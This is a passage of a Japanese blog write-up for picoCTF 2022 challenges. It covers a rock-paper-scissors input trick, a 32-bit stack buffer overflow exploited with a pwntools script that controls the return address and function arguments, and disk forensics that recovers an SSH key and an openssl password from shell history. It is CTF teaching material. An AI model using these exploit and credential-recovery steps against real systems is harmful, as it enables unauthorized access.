テクノロジー

picoCTF 2022のWriteup(後編)

前編

本記事はpicoCTF 2022のWriteup(前編)の続きです。

picoCTF 2022のWriteup(前編)

RPS

Description
Here's a program that plays rock, paper, scissors against you. I hear something good happens if you win 5 times in a row.
Connect to the program with netcat:
$ nc saturn.picoctf.net 53865
The program's source code with the flag redacted can be downloaded here.

じゃんけんで5回勝てばいい問題です。
以下は勝ち負けに影響する部分を抜粋したものです。

//game-redacted.c
...
// 手の管理。handsは出力用。losesは勝ち負け判定で利用
char* hands[3] = {"rock", "paper", "scissors"};
char* loses[3] = {"paper", "scissors", "rock"};
int wins = 0;
...
  // コンピュータの手を決定
  int computer_turn = rand() % 3;
  printf("You played: %s\n", player_turn);
  printf("The computer played: %s\n", hands[computer_turn]);

  // 勝ち負けの判定
  if (strstr(player_turn, loses[computer_turn])) {
    puts("You win! Play again?");
    return true;
  } else {
    puts("Seems like you didn't win this time. Play again?");
    return false;
  }
  ...

strstr(player_turn, loses[computer_turn])で勝ち負けを判定しているのがわかります(
strstr文字列を検索する関数)。

ユーザの入力文字に対して検証を行っていないので、以下のパターンで確実に勝てます。

maz-picoctf@webshell:~/bof1$ nc saturn.picoctf.net 53865
Welcome challenger to the game of Rock, Paper, Scissors
For anyone that beats me 5 times in a row, I will offer up a flag I found
Are you ready?
Type '1' to play a game
Type '2' to exit the program
1
1

Please make your selection (rock/paper/scissors):
rock/paper/scissors                                ← 確実に勝てる魔法の手
rock/paper/scissors
You played: rock/paper/scissors
The computer played: scissors
You win! Play again?
Type '1' to play a game
Type '2' to exit the program

...

Please make your selection (rock/paper/scissors):
rock/paper/scissors
rock/paper/scissors
You played: rock/paper/scissors
The computer played: rock
You win! Play again?
Congrats, here's the flag!
picoCTF{50M3_3X7R3M3_1UCK_B69E01B8}

flag : picoCTF{50M3_3X7R3M3_1UCK_B69E01B8}

buffer overflow 2

Description
Control the return address and arguments
This time you'll need to control the arguments to the function you return to! Can you get the flag from this program?
You can view source here. And connect with it using nc saturn.picoctf.net 61527

buffer overflow1と同じ戦略で解いていきます。
違う箇所は下記の通り、win関数に引数が設定されていて且つそれの検証を行っている点です。

//vuln.c
...

void win(unsigned int arg1, unsigned int arg2) {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  if (arg1 != 0xCAFEF00D)
    return;
  if (arg2 != 0xF00DF00D)
    return;
  printf(buf);
}

なるほど。

maz-picoctf@webshell:~/bof2$ gdb vuln
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from vuln...
(No debugging symbols found in vuln)
gdb-peda$ pattc 300
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%'
gdb-peda$ run
Starting program: /home/maz-picoctf/bof2/vuln 
warning: Error disabling address space randomization: Operation not permitted
Please enter your string: 
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x12d 
EBX: 0x41413741 ('A7AA')
ECX: 0xffffffff 
EDX: 0xffffffff 
ESI: 0xf7f74000 --> 0x1ead6c 
EDI: 0xf7f74000 --> 0x1ead6c 
EBP: 0x6941414d ('MAAi')
ESP: 0xffb8bec0 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
EIP: 0x41384141 ('AA8A')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41384141
[------------------------------------stack-------------------------------------]
0000| 0xffb8bec0 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
0004| 0xffb8bec4 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
0008| 0xffb8bec8 ("AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
0012| 0xffb8becc ("AkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
0016| 0xffb8bed0 ("PAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
0020| 0xffb8bed4 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
0024| 0xffb8bed8 ("AmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
0028| 0xffb8bedc ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41384141 in ?? ()
gdb-peda$ patto 0x41384141
1094205761 found at offset: 112
gdb-peda$

112桁でオーバーフロー。

以上の情報を使用してexploitを作成します(buffer overflow1のコードを流用)。win関数の引数検証をバイパスする部分の追加を忘れないようにしましょう。

# exploit.py
...

def exploit(con, elf, libc, rop):

    win_symbols = elf.symbols["win"]
    log.info("win symbol: {}".format(hex(win_symbols)))

    offset = 112
    args_1 = 0xCAFEF00D
    args_2 = 0xF00DF00D
    payload = b"A" * offset 
    payload += pack(win_symbols)
    payload += b"BBBB"
    payload += pack(args_1)
    payload += pack(args_2)
    log.info("payload: {}".format(payload))
    con.sendline(payload)
maz-picoctf@webshell:~/bof2$ python exploit.py REMOTE
[+] Opening connection to saturn.picoctf.net on port 61527: Done
[*] '/home/maz-picoctf/bof2/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] Loaded 10 cached gadgets for './vuln'
[*] win symbol: 0x8049296
[*] payload: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x96\x92\x04\x08BBBB\r\xf0\xfe\xca\r\xf0\r\xf0'
[*] Switching to interactive mode
Please enter your string: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xf0\xfe\xcaAAAAAAAAAAAAAAAAAAAAA\x96\x92\x04BBBB
$ picoCTF{argum3nt5_4_d4yZ_4b24a3aa}[*] Got EOF while reading in interactive

flag: picoCTF{argum3nt5_4_d4yZ_4b24a3aa}

Forensics

Enhance!

Description
Download this image file and find the flag.
* Download image file

svgファイルからフラグを探す問題です。tspanタグに有りました。

maz-picoctf@webshell:~/enhance$ strings drawing.flag.svg 

flag: picoCTF{3nh4nc3d_24374675}

Sleuthkit Intro

Description
Download the disk image and use mmls on it to find the size of the Linux partition. Connect to the remote checker service to check your answer and get the flag.
Note: if you are using the webshell, download and extract the disk image into /tmp not your home directory.
* Download disk image
* Access checker program: nc saturn.picoctf.net 52279

問題通りmmls コマンドを使用して、配布されたイメージファイルのpartitionサイズを入力すればフラグがゲットできます。

maz-picoctf@webshell:/tmp/sleuthkit_intro$ mmls disk.img 
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

      Slot      Start        End          Length       Description
000:  Meta      0000000000   0000000000   0000000001   Primary Table (#0)
001:  -------   0000000000   0000002047   0000002048   Unallocated
002:  000:000   0000002048   0000204799   0000202752   Linux (0x83)
maz-picoctf@webshell:/tmp/sleuthkit_intro$ 
maz-picoctf@webshell:/tmp/sleuthkit_intro$ nc saturn.picoctf.net 52279What is the size of the Linux partition in the given disk image?
Length in sectors: 202752
202752
Great work!
picoCTF{mm15_f7w!}

flag: picoCTF{mm15_f7w!}

Sleuthkit Apprentice

Description
Download this disk image and find the flag.
Note: if you are using the webshell, download and extract the disk image into /tmp not your home directory.
* Download compressed disk image

ディスクイメージにあるフラグをゲットします。

maz-picoctf@webshell:/tmp/sleuthkit_apprentice$ mmls disk.flag.img 
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

      Slot      Start        End          Length       Description
000:  Meta      0000000000   0000000000   0000000001   Primary Table (#0)
001:  -------   0000000000   0000002047   0000002048   Unallocated
002:  000:000   0000002048   0000206847   0000204800   Linux (0x83)
003:  000:001   0000206848   0000360447   0000153600   Linux Swap / Solaris x86 (0x82)
004:  000:002   0000360448   0000614399   0000253952   Linux (0x83)
maz-picoctf@webshell:/tmp/sleuthkit_apprentice$ 
maz-picoctf@webshell:/tmp/sleuthkit_apprentice$ 
maz-picoctf@webshell:/tmp/apprentice$ fls -r -o 360448 disk.flag.img | grep flag
++ r/r * 2082(realloc): flag.txt
++ r/r 2371:    flag.uni.txt
maz-picoctf@webshell:/tmp/apprentice$ 
maz-picoctf@webshell:/tmp/apprentice$ icat -o 360448 disk.flag.img 2371 > flag.uni.txt
maz-picoctf@webshell:/tmp/apprentice$ ls
disk.flag.img  flag.uni.txt
maz-picoctf@webshell:/tmp/apprentice$ cat flag.uni.txt 
picoCTF{by73_5urf3r_adac6cb4}
maz-picoctf@webshell:/tmp/apprentice$ 

flag: picoCTF{by73_5urf3r_adac6cb4}

Operation Oni

Description
Download this disk image, find the key and log into the remote machine.
Note: if you are using the webshell, download and extract the disk image into /tmp not your home directory.
* Download disk image
* Remote machine: ssh -i key_file -p 51508 ctf-player@saturn.picoctf.net

ディスクイメージにあるSSHキーを取得して、リモートサーバへSSH接続してフラグをゲットする問題です。

maz-picoctf@webshell:/tmp/oni$ mmls dis
Error stat(ing) image file (raw_open: image "dis" - No such file or directory)
maz-picoctf@webshell:/tmp/oni$ mmls disk.img 
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

      Slot      Start        End          Length       Description
000:  Meta      0000000000   0000000000   0000000001   Primary Table (#0)
001:  -------   0000000000   0000002047   0000002048   Unallocated
002:  000:000   0000002048   0000206847   0000204800   Linux (0x83)
003:  000:001   0000206848   0000471039   0000264192   Linux (0x83)
maz-picoctf@webshell:/tmp/oni$ 
maz-picoctf@webshell:/tmp/oni$ fls -r -o 206848 disk.img | grep id_
++++++ r/r 1335:        raid_class.ko
++ r/r 2345:    id_ed25519
++ r/r 2346:    id_ed25519.pub
maz-picoctf@webshell:/tmp/oni$ 
maz-picoctf@webshell:/tmp/oni$ chmod 600 id_ed25519
maz-picoctf@webshell:/tmp/oni$ 
maz-picoctf@webshell:/tmp/oni$ ssh -i id_ed25519 -p 51508 ctf-player@saturn.picoctf.net
load pubkey "id_ed25519": invalid format
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.13.0-1017-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

ctf-player@challenge:~$ 
ctf-player@challenge:~$ ls
flag.txt
ctf-player@challenge:~$ 
ctf-player@challenge:~$ cat flag.txt 
picoCTF{k3y_5l3u7h_d6e19567}ctf-player@challenge:~$ 
ctf-player@challenge:~$ 

flag: picoCTF{k3y_5l3u7h_d6e19567}

Operation Orchid

Description
Download this disk image and find the flag.
Note: if you are using the webshell, download and extract the disk image into /tmp not your home directory.
* Download compressed disk image

ディスクイメージ内にあるフラグをゲットする問題です。これまでと一緒ですね。サクッと行きましょう。

maz-picoctf@webshell:/tmp/orchid$ mmls disk.flag.img 
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

      Slot      Start        End          Length       Description
000:  Meta      0000000000   0000000000   0000000001   Primary Table (#0)
001:  -------   0000000000   0000002047   0000002048   Unallocated
002:  000:000   0000002048   0000206847   0000204800   Linux (0x83)
003:  000:001   0000206848   0000411647   0000204800   Linux Swap / Solaris x86 (0x82)
004:  000:002   0000411648   0000819199   0000407552   Linux (0x83)
maz-picoctf@webshell:/tmp/orchid$ 
maz-picoctf@webshell:/tmp/orchid$ 
maz-picoctf@webshell:/tmp/orchid$ fls -r -o 411648 disk.flag.img | grep flag
+ r/r * 1876(realloc):  flag.txt
+ r/r 1782:     flag.txt.enc
maz-picoctf@webshell:/tmp/orchid$ 

???

暗号化されているかもです。

maz-picoctf@webshell:/tmp/orchid$ icat -o 411648 disk.flag.img 1782 > flag.txt.enc
maz-picoctf@webshell:/tmp/orchid$ 
maz-picoctf@webshell:/tmp/orchid$ ls
disk.flag.img  flag.txt.enc
maz-picoctf@webshell:/tmp/orchid$ 
maz-picoctf@webshell:/tmp/orchid$ cat flag.txt.enc 
Salted__O金Oez2>@SSgk(r]}}fzȤ7 ؎$'%maz-picoctf@webshell:/tmp/orchid$ 
maz-picoctf@webshell:/tmp/orchid$ 

案の定されていました。平文に復号する方法を考えないといけません。

maz-picoctf@webshell:/tmp/orchid$ file flag.txt.enc 
flag.txt.enc: openssl enc'd data with salted password
maz-picoctf@webshell:/tmp/orchid$ 

どうやらopensslを使用して暗号化されたようです(opensslコマンドを使用して暗号化)。もしかしたらその際のコマンドがhistoryに残っているかもしれません。

maz-picoctf@webshell:/tmp/orchid$ fls -r -o 411648 disk.flag.img | grep history+ r/r 1875:     .ash_history
maz-picoctf@webshell:/tmp/orchid$ 
maz-picoctf@webshell:/tmp/orchid$ icat -o 411648 disk.flag.img 1875 > .ash_history
maz-picoctf@webshell:/tmp/orchid$ 
maz-picoctf@webshell:/tmp/orchid$ 
maz-picoctf@webshell:/tmp/orchid$ cat .ash_history 
touch flag.txt
nano flag.txt 
apk get nano
apk --help
apk add nano
nano flag.txt 
openssl
openssl aes256 -salt -in flag.txt -out flag.txt.enc -k unbreakablepassword1234567
shred -u flag.txt
ls -al
halt
maz-picoctf@webshell:/tmp/orchid$ 

有りました。-dオプションで復号することができるのでやります。

maz-picoctf@webshell:/tmp/orchid$ openssl aes256 -d -salt -in flag.txt.enc -out flag.txt -k unbreakablepassword1234567
*** WARNING : deprecated key derivation used.
Using -iter or -pbkdf2 would be better.
bad decrypt
140042247042368:error:06065064:digital envelope routines:EVP_DecryptFinal_ex:bad decrypt:../crypto/evp/evp_enc.c:610:
maz-picoctf@webshell:/tmp/orchid$ 
maz-picoctf@webshell:/tmp/orchid$ ls
disk.flag.img  flag.txt  flag.txt.enc
maz-picoctf@webshell:/tmp/orchid$ cat flag.txt
picoCTF{h4un71ng_p457_5113beab}maz-picoctf@webshell:/tmp/orchid$ 

flag: picoCTF{h4un71ng_p457_5113beab}

終わりに

問題が多い!!

完走した感想ですが、中高生向けCTFということでコマンドを実行できれば解ける系問題が多く「CTFできてる!!!!」という気持ちになれました。また設問ごとにヒントがあったりと非常に丁寧です。問題数も多く、ステップバイステップで”””高められていく”””体験を得られるかと思います。

スコアボードを見ると全問完答したチームが2チームいて恐ろしかったです…(しかも US Middle/High School)。正直取り組めた時間が少なかったためもう少しスコアは伸ばせそうな気はしますが、そこに慢心せずにスキルを伸ばしていきたいと思います。

次のCTFで会おう!!!

※本記事は2022年06月時点の内容です。

テクノロジーの記事一覧
タグ一覧
TOPへ戻る

関連記事